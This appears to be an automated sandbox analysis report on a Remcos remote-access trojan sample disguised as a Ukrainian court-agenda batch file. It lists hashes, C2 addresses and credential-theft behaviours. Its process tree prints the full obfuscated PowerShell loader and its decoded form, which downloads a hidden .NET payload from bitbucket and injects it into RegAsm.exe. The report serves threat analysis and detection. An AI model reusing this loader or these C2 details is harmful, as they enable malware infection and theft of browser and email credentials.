remcos | 17504af5f0b685f934404a49fe6ce392cdaa9717b70099635383d450708d3f89

Analysis

max time kernel
148s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
02/09/2024, 14:46

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Документи (СУД)/Порядок денний до суду.bat
Size 13KB
Sample240902-r5raqatdja
SHA256 0b6ff11b6bb77a2b5fddd259c021c80096d681e955468e342435ab93d1743cd7
MD5 22865eb508afb7fabbe06e656568150d
SHA1 82e2ce104c874210918d8d1b63f663d353d3d7ac
SHA512 ba8bfab7e32d420c3b38e330f764bea7b2a06d10f2a5880330b16ecdeb2466e52a0661f7559492e97b3825709164f446601db74a6615e0700cdc642a35c3f301
SSDEEP 192:XlNQXHDDlrxLsbGOlfs/m+jGuqHswuVIJHjMfqxnJvMuz3DPPygGYlp868OwTXY4:3QX2N5FCwuOme0ufy4ioWI7uF4w
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

remcos hst_one collection credential_access discovery execution rat spyware stealer

Malware Config

Extracted

Family

remcos

Botnet

hst_one

101.99.93.108:2404
101.99.93.108:1723
101.99.93.108:8080
101.99.93.108:8091
101.99.93.108:80
101.99.93.108:465

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
rmc
mouse_option
false
mutex
gdrgfddghgfd-FLRWT9
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
credential_access stealer

Credentials from Web Browsers
T1555.003

Detected Nirsoft tools 3 IoCs

Free utilities often used by attackers which can steal passwords, product keys, etc.

resource	yara_rule
behavioral4/memory/1544-63-0x0000000000400000-0x0000000000462000-memory.dmp	Nirsoft
behavioral4/memory/4088-68-0x0000000000400000-0x0000000000424000-memory.dmp	Nirsoft
behavioral4/memory/5088-60-0x0000000000400000-0x0000000000478000-memory.dmp	Nirsoft

NirSoft MailPassView 1 IoCs

Password recovery tool for various email clients

resource	yara_rule
behavioral4/memory/1544-63-0x0000000000400000-0x0000000000462000-memory.dmp	MailPassView

NirSoft WebBrowserPassView 1 IoCs

Password recovery tool for various web browsers

resource	yara_rule
behavioral4/memory/5088-60-0x0000000000400000-0x0000000000478000-memory.dmp	WebBrowserPassView

Blocklisted process makes network request 2 IoCs

flow	pid	Process
9	3876	powershell.exe
11	3876	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2460	powershell.exe
3876	powershell.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	RegAsm.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
8	bitbucket.org
9	bitbucket.org

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 3876 set thread context of 2736	3876	powershell.exe	95
PID 2736 set thread context of 5088	2736	RegAsm.exe	98
PID 2736 set thread context of 1544	2736	RegAsm.exe	102
PID 2736 set thread context of 4088	2736	RegAsm.exe	104

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
2460	powershell.exe
2460	powershell.exe
3876	powershell.exe
3876	powershell.exe
5088	RegAsm.exe
5088	RegAsm.exe
4088	RegAsm.exe
4088	RegAsm.exe
5088	RegAsm.exe
5088	RegAsm.exe

Suspicious behavior: MapViewOfSection 7 IoCs

pid	Process
2736	RegAsm.exe
2736	RegAsm.exe
2736	RegAsm.exe
2736	RegAsm.exe
2736	RegAsm.exe
2736	RegAsm.exe
2736	RegAsm.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2460	powershell.exe
Token: SeDebugPrivilege	3876	powershell.exe
Token: SeDebugPrivilege	4088	RegAsm.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2736	RegAsm.exe

Suspicious use of WriteProcessMemory 40 IoCs

description	pid	Process	procid_target
PID 1184 wrote to memory of 2460	1184	cmd.exe	84
PID 1184 wrote to memory of 2460	1184	cmd.exe	84
PID 2460 wrote to memory of 3876	2460	powershell.exe	86
PID 2460 wrote to memory of 3876	2460	powershell.exe	86
PID 3876 wrote to memory of 2736	3876	powershell.exe	95
PID 3876 wrote to memory of 2736	3876	powershell.exe	95
PID 3876 wrote to memory of 2736	3876	powershell.exe	95
PID 3876 wrote to memory of 2736	3876	powershell.exe	95
PID 3876 wrote to memory of 2736	3876	powershell.exe	95
PID 3876 wrote to memory of 2736	3876	powershell.exe	95
PID 3876 wrote to memory of 2736	3876	powershell.exe	95
PID 3876 wrote to memory of 2736	3876	powershell.exe	95
PID 3876 wrote to memory of 2736	3876	powershell.exe	95
PID 3876 wrote to memory of 2736	3876	powershell.exe	95
PID 3876 wrote to memory of 2736	3876	powershell.exe	95
PID 3876 wrote to memory of 2736	3876	powershell.exe	95
PID 2736 wrote to memory of 5088	2736	RegAsm.exe	98
PID 2736 wrote to memory of 5088	2736	RegAsm.exe	98
PID 2736 wrote to memory of 5088	2736	RegAsm.exe	98
PID 2736 wrote to memory of 5088	2736	RegAsm.exe	98
PID 2736 wrote to memory of 3968	2736	RegAsm.exe	99
PID 2736 wrote to memory of 3968	2736	RegAsm.exe	99
PID 2736 wrote to memory of 3968	2736	RegAsm.exe	99
PID 2736 wrote to memory of 3228	2736	RegAsm.exe	100
PID 2736 wrote to memory of 3228	2736	RegAsm.exe	100
PID 2736 wrote to memory of 3228	2736	RegAsm.exe	100
PID 2736 wrote to memory of 2168	2736	RegAsm.exe	101
PID 2736 wrote to memory of 2168	2736	RegAsm.exe	101
PID 2736 wrote to memory of 2168	2736	RegAsm.exe	101
PID 2736 wrote to memory of 1544	2736	RegAsm.exe	102
PID 2736 wrote to memory of 1544	2736	RegAsm.exe	102
PID 2736 wrote to memory of 1544	2736	RegAsm.exe	102
PID 2736 wrote to memory of 1544	2736	RegAsm.exe	102
PID 2736 wrote to memory of 2252	2736	RegAsm.exe	103
PID 2736 wrote to memory of 2252	2736	RegAsm.exe	103
PID 2736 wrote to memory of 2252	2736	RegAsm.exe	103
PID 2736 wrote to memory of 4088	2736	RegAsm.exe	104
PID 2736 wrote to memory of 4088	2736	RegAsm.exe	104
PID 2736 wrote to memory of 4088	2736	RegAsm.exe	104
PID 2736 wrote to memory of 4088	2736	RegAsm.exe	104

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Документи (СУД)\Порядок денний до суду.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1184
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell "$codigo = 'WwBO#GU#d##u#FM#ZQBy#HY#aQBj#GU#U#Bv#Gk#bgB0#E0#YQBu#GE#ZwBl#HI#XQ#6#Do#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b##g#D0#I#Bb#E4#ZQB0#C4#UwBl#GM#dQBy#Gk#d#B5#F##cgBv#HQ#bwBj#G8#b#BU#Hk#c#Bl#F0#Og#6#FQ#b#Bz#DE#Mg#N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgB1#G4#YwB0#Gk#bwBu#C##R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#RgBy#G8#bQBM#Gk#bgBr#HM#I#B7#C##c#Bh#HI#YQBt#C##K#Bb#HM#d#By#Gk#bgBn#Fs#XQBd#CQ#b#Bp#G4#awBz#Ck#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#B3#GU#YgBD#Gw#aQBl#G4#d##g#D0#I#BO#GU#dw#t#E8#YgBq#GU#YwB0#C##UwB5#HM#d#Bl#G0#LgBO#GU#d##u#Fc#ZQBi#EM#b#Bp#GU#bgB0#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#C##PQ#g#Ec#ZQB0#C0#UgBh#G4#Z#Bv#G0#I##t#Ek#bgBw#HU#d#BP#GI#agBl#GM#d##g#CQ#b#Bp#G4#awBz#C##LQBD#G8#dQBu#HQ#I##k#Gw#aQBu#Gs#cw#u#Ew#ZQBu#Gc#d#Bo#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##ZgBv#HI#ZQBh#GM#a##g#Cg#J#Bs#Gk#bgBr#C##aQBu#C##J#Bz#Gg#dQBm#GY#b#Bl#GQ#T#Bp#G4#awBz#Ck#I#B7#C##d#By#Hk#I#B7#C##cgBl#HQ#dQBy#G4#I##k#Hc#ZQBi#EM#b#Bp#GU#bgB0#C4#R#Bv#Hc#bgBs#G8#YQBk#EQ#YQB0#GE#K##k#Gw#aQBu#Gs#KQ#g#H0#I#Bj#GE#d#Bj#Gg#I#B7#C##YwBv#G4#d#Bp#G4#dQBl#C##fQ#g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I#By#GU#d#B1#HI#bg#g#CQ#bgB1#Gw#b##g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#Gw#aQBu#Gs#cw#g#D0#I#B##Cg#JwBo#HQ#d#Bw#HM#Og#v#C8#YgBp#HQ#YgB1#GM#awBl#HQ#LgBv#HI#Zw#v#Gg#ZwBk#GY#a#Bk#GY#ZwBk#C8#d#Bl#HM#d##v#GQ#bwB3#G4#b#Bv#GE#Z#Bz#C8#bgBl#Hc#XwBp#G0#YQBn#GU#LgBq#H##Zw#/#DE#MQ#4#DE#MQ#3#DM#NQ#n#Cw#I##n#Gg#d#B0#H##cw#6#C8#LwBi#Gk#d#Bi#HU#YwBr#GU#d##u#G8#cgBn#C8#a#Bn#GQ#ZgBo#GQ#ZgBn#GQ#LwB0#GU#cwB0#C8#Z#Bv#Hc#bgBs#G8#YQBk#HM#LwBu#GU#dwBf#Gk#bQBh#Gc#ZQ#u#Go#c#Bn#D8#MQ#0#DQ#N##x#Dc#Mg#z#Cc#KQ#7##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##g#CQ#aQBt#GE#ZwBl#EI#eQB0#GU#cw#g#D0#I#BE#G8#dwBu#Gw#bwBh#GQ#R#Bh#HQ#YQBG#HI#bwBt#Ew#aQBu#Gs#cw#g#CQ#b#Bp#G4#awBz#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##aQBm#C##K##k#Gk#bQBh#Gc#ZQBC#Hk#d#Bl#HM#I##t#G4#ZQ#g#CQ#bgB1#Gw#b##p#C##ew#g#CQ#aQBt#GE#ZwBl#FQ#ZQB4#HQ#I##9#C##WwBT#Hk#cwB0#GU#bQ#u#FQ#ZQB4#HQ#LgBF#G4#YwBv#GQ#aQBu#Gc#XQ#6#Do#VQBU#EY#O##u#Ec#ZQB0#FM#d#By#Gk#bgBn#Cg#J#Bp#G0#YQBn#GU#QgB5#HQ#ZQBz#Ck#Ow#N##o#I##g#C##I##g#C##I##g#C##I##g#C##I##k#HM#d#Bh#HI#d#BG#Gw#YQBn#C##PQ#g#Cc#P##8#EI#QQBT#EU#Ng#0#F8#UwBU#EE#UgBU#D4#Pg#n#Ds#I##k#GU#bgBk#EY#b#Bh#Gc#I##9#C##Jw#8#Dw#QgBB#FM#RQ#2#DQ#XwBF#E4#R##+#D4#Jw#7#C##J#Bz#HQ#YQBy#HQ#SQBu#GQ#ZQB4#C##PQ#g#CQ#aQBt#GE#ZwBl#FQ#ZQB4#HQ#LgBJ#G4#Z#Bl#Hg#TwBm#Cg#J#Bz#HQ#YQBy#HQ#RgBs#GE#Zw#p#Ds#I##N##o#I##g#C##I##g#C##I##g#C##I##g#C##J#Bl#G4#Z#BJ#G4#Z#Bl#Hg#I##9#C##J#Bp#G0#YQBn#GU#V#Bl#Hg#d##u#Ek#bgBk#GU#e#BP#GY#K##k#GU#bgBk#EY#b#Bh#Gc#KQ#7##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##g#Gk#Zg#g#Cg#J#Bz#HQ#YQBy#HQ#SQBu#GQ#ZQB4#C##LQBn#GU#I##w#C##LQBh#G4#Z##g#CQ#ZQBu#GQ#SQBu#GQ#ZQB4#C##LQBn#HQ#I##k#HM#d#Bh#HI#d#BJ#G4#Z#Bl#Hg#KQ#g#Hs#I##k#HM#d#Bh#HI#d#BJ#G4#Z#Bl#Hg#I##r#D0#I##k#HM#d#Bh#HI#d#BG#Gw#YQBn#C4#T#Bl#G4#ZwB0#Gg#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#GI#YQBz#GU#Ng#0#Ew#ZQBu#Gc#d#Bo#C##PQ#g#CQ#ZQBu#GQ#SQBu#GQ#ZQB4#C##LQ#g#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##7##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##g#CQ#YgBh#HM#ZQ#2#DQ#QwBv#G0#bQBh#G4#Z##g#D0#I##k#Gk#bQBh#Gc#ZQBU#GU#e#B0#C4#UwB1#GI#cwB0#HI#aQBu#Gc#K##k#HM#d#Bh#HI#d#BJ#G4#Z#Bl#Hg#L##g#CQ#YgBh#HM#ZQ#2#DQ#T#Bl#G4#ZwB0#Gg#KQ#7##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##g#CQ#YwBv#G0#bQBh#G4#Z#BC#Hk#d#Bl#HM#I##9#C##WwBT#Hk#cwB0#GU#bQ#u#EM#bwBu#HY#ZQBy#HQ#XQ#6#Do#RgBy#G8#bQBC#GE#cwBl#DY#N#BT#HQ#cgBp#G4#Zw#o#CQ#YgBh#HM#ZQ#2#DQ#QwBv#G0#bQBh#G4#Z##p#Ds#I##k#Gw#bwBh#GQ#ZQBk#EE#cwBz#GU#bQBi#Gw#eQ#g#D0#I#Bb#FM#eQBz#HQ#ZQBt#C4#UgBl#GY#b#Bl#GM#d#Bp#G8#bg#u#EE#cwBz#GU#bQBi#Gw#eQBd#Do#OgBM#G8#YQBk#Cg#J#Bj#G8#bQBt#GE#bgBk#EI#eQB0#GU#cw#p#Ds#I##k#HQ#eQBw#GU#I##9#C##J#Bs#G8#YQBk#GU#Z#BB#HM#cwBl#G0#YgBs#Hk#LgBH#GU#d#BU#Hk#c#Bl#Cg#JwB0#GU#cwB0#H##bwB3#GU#cgBz#Gg#ZQBs#Gw#LgBI#G8#bQBl#Cc#KQ#7##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#G0#ZQB0#Gg#bwBk#C##PQ#g#CQ#d#B5#H##ZQ#u#Ec#ZQB0#E0#ZQB0#Gg#bwBk#Cg#JwBs#GE#Jw#p#C4#SQBu#HY#bwBr#GU#K##k#G4#dQBs#Gw#L##g#Fs#bwBi#Go#ZQBj#HQ#WwBd#F0#I##o#Cc#d#B4#HQ#LgBl#G4#bw#v#HM#Z#Bh#G8#b#Bu#Hc#bwBk#C8#ZQBn#GQ#cw#v#Hc#ZwBk#HM#LwBn#HI#bw#u#HQ#ZQBr#GM#dQBi#HQ#aQBi#C8#Lw#6#HM#c#B0#HQ#a##n#Cw#I##n#D##Jw#s#C##JwBz#HY#a#Bv#HM#d##n#Cw#I##n#FI#ZQBn#EE#cwBt#Cc#L##g#Cc#M##n#Ck#KQB9#H0#';$oWjuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string($codigo.replace('#','A')));powershell.exe -windowstyle hidden -executionpolicy bypass -Noprofile -command $OWjuxD"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2460
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -Noprofile -command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $shuffledLinks = Get-Random -InputObject $links -Count $links.Length; foreach ($link in $shuffledLinks) { try { return $webClient.DownloadData($link) } catch { continue } }; return $null }; $links = @('https://bitbucket.org/hgdfhdfgd/test/downloads/new_image.jpg?11811735', 'https://bitbucket.org/hgdfhdfgd/test/downloads/new_image.jpg?14441723'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('testpowershell.Home'); $method = $type.GetMethod('la').Invoke($null, [object[]] ('txt.eno/sdaolnwod/egds/wgds/gro.tekcubtib//:sptth', '0', 'svhost', 'RegAsm', '0'))}}"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3876
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
      4⤵
      Suspicious use of SetThreadContext
      System Location Discovery: System Language Discovery
      Suspicious behavior: MapViewOfSection
      Suspicious use of SetWindowsHookEx
      Suspicious use of WriteProcessMemory
      PID:2736
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\Admin\AppData\Local\Temp\yttuzphrmbatdzs"
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        
        PID:5088
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\Admin\AppData\Local\Temp\jnznrirsajsynnoqio"
        5⤵
        
        PID:3968
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\Admin\AppData\Local\Temp\jnznrirsajsynnoqio"
        5⤵
        
        PID:3228
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\Admin\AppData\Local\Temp\jnznrirsajsynnoqio"
        5⤵
        
        PID:2168
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\Admin\AppData\Local\Temp\jnznrirsajsynnoqio"
        5⤵
        Accesses Microsoft Outlook accounts
        System Location Discovery: System Language Discovery
        
        PID:1544
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\Admin\AppData\Local\Temp\lpexsacmorklptcurzojs"
        5⤵
        
        PID:2252
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe /stext "C:\Users\Admin\AppData\Local\Temp\lpexsacmorklptcurzojs"
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4088

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Data from Local System

T1005

Email Collection

T1114

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

logs.dat

Path C:\ProgramData\rmc\logs.dat
Size 198B
SHA256 ca298c0555ac3815636cb698ac01a450432e365165339692d96f64f51b40286c
MD5 d54c293944730ce075ed7fe866ff93b5
SHA1 099f5f8cbee295d7af774927ec9983ad93e3fd3f
SHA512 dc891bf26d9e9acfc9ebb62d6c07136e0101b64d7b2a0981dc3d59b093033edbfa0f955782d6ffdf2b8387a16f1e8e1685311e1487a888f8c6bb0d7160b9cb98
MD5 SHA1 SHA512

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 69f03040bf4208bbfc3617a35799ad9897c2235df7832dc7687c8b91ef2f99e8
MD5 906a96ab3d13d754809f312628f6e4ac
SHA1 4f1f3d49c788e5736c31904eaf4683ea4e8683c6
SHA512 a0f5fad77325a869edb9a80beb4f2604c5f6d5af652f21a2283e366cd32d42f6fb2f4761d596c6a77a2d83fda4ab52d9a645aedbce5295223c0e30faf306a851
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 64B
SHA256 d69d47e428298f194850d14c3ce375e7926128a0bfb62c1e75940ab206f8fddc
MD5 d8b9a260789a22d72263ef3bb119108c
SHA1 376a9bd48726f422679f2cd65003442c0b6f6dd5
SHA512 550314fab1e363851a7543c989996a440d95f7c9db9695cce5abaad64523f377f48790aa091d66368f50f941179440b1fa94448289ee514d5b5a2f4fe6225e9b
MD5 SHA1 SHA512

Submit Download

__PSScriptPolicyTest_4ss4c0vk.zz4.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4ss4c0vk.zz4.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

yttuzphrmbatdzs

Path C:\Users\Admin\AppData\Local\Temp\yttuzphrmbatdzs
Size 4KB
SHA256 a6c43b4e4b8681cf0ef56c49c730fa77e34dc82db0260253a3ba75039030b9ec
MD5 1891919175c888ce82e9bd8a047b01ad
SHA1 502a6892a5d27ecb791ac5aa6d8586944f540453
SHA512 8bb940050b1abf6c27db133ed446f41e108f670f361ed5102408832ce33d9b87cd0880723441f1632292eeeb0a319c4e0fac0ea659eb55ebe1130cc3e6c776a3
SSDEEP 48:wvvv0GxxfvvcGxxfdvv0GxxBvv0Gxxakvv0Gx7:mvtxxvlxp1vtxPvtxbvtx7
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/1544-56-0x0000000000400000-0x0000000000462000-memory.dmp

Download

memory/1544-63-0x0000000000400000-0x0000000000462000-memory.dmp

Download

memory/1544-55-0x0000000000400000-0x0000000000462000-memory.dmp

Download

memory/2460-12-0x00007FFA7B6A0000-0x00007FFA7C161000-memory.dmp

Download

memory/2460-0-0x00007FFA7B6A3000-0x00007FFA7B6A5000-memory.dmp

Download

memory/2460-25-0x00007FFA7B6A0000-0x00007FFA7C161000-memory.dmp

Download

memory/2460-11-0x00007FFA7B6A0000-0x00007FFA7C161000-memory.dmp

Download

memory/2460-45-0x00007FFA7B6A0000-0x00007FFA7C161000-memory.dmp

Download

memory/2460-1-0x0000023225B90000-0x0000023225BB2000-memory.dmp

Download

memory/2736-74-0x0000000010000000-0x0000000010019000-memory.dmp

Download

memory/2736-76-0x0000000000400000-0x0000000000482000-memory.dmp

Download

memory/2736-36-0x0000000000400000-0x0000000000482000-memory.dmp

Download

memory/2736-37-0x0000000000400000-0x0000000000482000-memory.dmp

Download

memory/2736-40-0x0000000000400000-0x0000000000482000-memory.dmp

Download

memory/2736-41-0x0000000000400000-0x0000000000482000-memory.dmp

Download

memory/2736-33-0x0000000000400000-0x0000000000482000-memory.dmp

Download

memory/2736-105-0x0000000000400000-0x0000000000482000-memory.dmp

Download

memory/2736-106-0x0000000000400000-0x0000000000482000-memory.dmp

Download

memory/2736-46-0x0000000000400000-0x0000000000482000-memory.dmp

Download

memory/2736-47-0x0000000000400000-0x0000000000482000-memory.dmp

Download

memory/2736-49-0x0000000000400000-0x0000000000482000-memory.dmp

Download

memory/2736-48-0x0000000000400000-0x0000000000482000-memory.dmp

Download

memory/2736-51-0x0000000000400000-0x0000000000482000-memory.dmp

Download

memory/2736-53-0x0000000000400000-0x0000000000482000-memory.dmp

Download

memory/2736-98-0x0000000000400000-0x0000000000482000-memory.dmp

Download

memory/2736-28-0x0000000000400000-0x0000000000482000-memory.dmp

Download

memory/2736-97-0x0000000000400000-0x0000000000482000-memory.dmp

Download

memory/2736-90-0x0000000000400000-0x0000000000482000-memory.dmp

Download

memory/2736-89-0x0000000000400000-0x0000000000482000-memory.dmp

Download

memory/2736-81-0x0000000000400000-0x0000000000482000-memory.dmp

Download

memory/2736-82-0x0000000000400000-0x0000000000482000-memory.dmp

Download

memory/2736-78-0x0000000000400000-0x0000000000482000-memory.dmp

Download

memory/2736-34-0x0000000000400000-0x0000000000482000-memory.dmp

Download

memory/2736-75-0x0000000010000000-0x0000000010019000-memory.dmp

Download

memory/2736-71-0x0000000010000000-0x0000000010019000-memory.dmp

Download

memory/3876-13-0x00007FFA7B6A0000-0x00007FFA7C161000-memory.dmp

Download

memory/3876-32-0x00007FFA7B6A0000-0x00007FFA7C161000-memory.dmp

Download

memory/3876-26-0x000001E8E8600000-0x000001E8E863E000-memory.dmp

Download

memory/3876-23-0x00007FFA7B6A0000-0x00007FFA7C161000-memory.dmp

Download

memory/3876-29-0x00007FFA7B6A0000-0x00007FFA7C161000-memory.dmp

Download

memory/3876-27-0x00007FFA7B6A0000-0x00007FFA7C161000-memory.dmp

Download

memory/3876-24-0x00007FFA7B6A0000-0x00007FFA7C161000-memory.dmp

Download

memory/4088-67-0x0000000000400000-0x0000000000424000-memory.dmp

Download

memory/4088-68-0x0000000000400000-0x0000000000424000-memory.dmp

Download

memory/4088-61-0x0000000000400000-0x0000000000424000-memory.dmp

Download

memory/5088-59-0x0000000000400000-0x0000000000478000-memory.dmp

Download

memory/5088-58-0x0000000000400000-0x0000000000478000-memory.dmp

Download

memory/5088-54-0x0000000000400000-0x0000000000478000-memory.dmp

Download

memory/5088-60-0x0000000000400000-0x0000000000478000-memory.dmp

Download